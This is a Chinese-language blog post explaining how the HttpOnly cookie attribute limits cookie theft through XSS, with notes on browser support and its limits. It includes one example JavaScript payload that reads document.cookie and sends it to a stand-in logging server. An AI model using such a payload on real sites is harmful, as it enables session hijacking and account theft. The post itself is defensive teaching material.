使用Http-only Cookie来防止XSS攻击
www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态。只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站。
对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单。Cookie保存在浏览器的document对象中,只要使用JS读取Cookie就能拥有其他人的身份。一个很简单的xss攻击语句如下:
url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src="http://www.xss-log-server.com/c.php?c="+cookie+"&u="+url;
有些网站考虑到这个问题,所以采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。但是这种方法存在很大的弊端,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定),但是这样有可能带来比较差的用户体验,比如家里的ADSL就是每次连接换一个IP地址。
那如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持 Cookie 属性 Http-Only,该属性有助于缓解跨站点脚本威胁, 如果兼容浏览器接收到 Http-Only Cookie,则客户端脚本不能对它进行访问。Http-Only的参数跟domain等其他参数一样,一旦Http-Only被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我可以采用Http-Only,对于一些需要在网站中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了网站的基本功能。
下面的例子就是Http-Only的设置方法(注意,HttpOnly属性对大小写不敏感):
Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]
Asp.Net设置HttpCookie.HttpOnly 属性的方法:http://msdn.microsoft.com/zh-cn/library/system.web.httpcookie.httponly.aspx
目前主流的浏览器基本上已经都支持了Http-Only属性,具体支持的浏览器请查看:https://www.owasp.org/index.php/HttpOnly
另外,HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交。为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-only Cookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。比如如果你的站点是使用Asp.Net开发的话,建议使用Microsoft Web Protection Library。
建议继续学习:
- cookie窃取和session劫持 (阅读:12893)
- curl 命令使用cookie (阅读:8756)
- 前端开发中Cookie那些事儿 (阅读:6164)
- 如何设置一个永远无法删除的Cookie (阅读:5220)
- 几种极其隐蔽的XSS注入的防护 (阅读:4626)
- 在浏览器中加密Cookie (阅读:4567)
- 网站统计:第一方Cookie和第三方Cookie (阅读:4105)
- Cookie安全漫谈 (阅读:3526)
- 一段Javascript的代码 (阅读:3318)
- 新浪微博的XSS攻击 (阅读:2946)
扫一扫订阅我的微信号:IT技术博客大学习
- 作者:标点符 来源: 标点符
- 标签: Cookie Httponly XSS
- 发布时间:2013-06-08 23:36:19
- [54] IOS安全–浅谈关于IOS加固的几种方法
- [52] android 开发入门
- [52] 如何拿下简短的域名
- [51] 图书馆的世界纪录
- [49] Go Reflect 性能
- [49] Oracle MTS模式下 进程地址与会话信
- [47] 【社会化设计】自我(self)部分――欢迎区
- [46] 读书笔记-壹百度:百度十年千倍的29条法则
- [36] 程序员技术练级攻略
- [29] 视觉调整-设计师 vs. 逻辑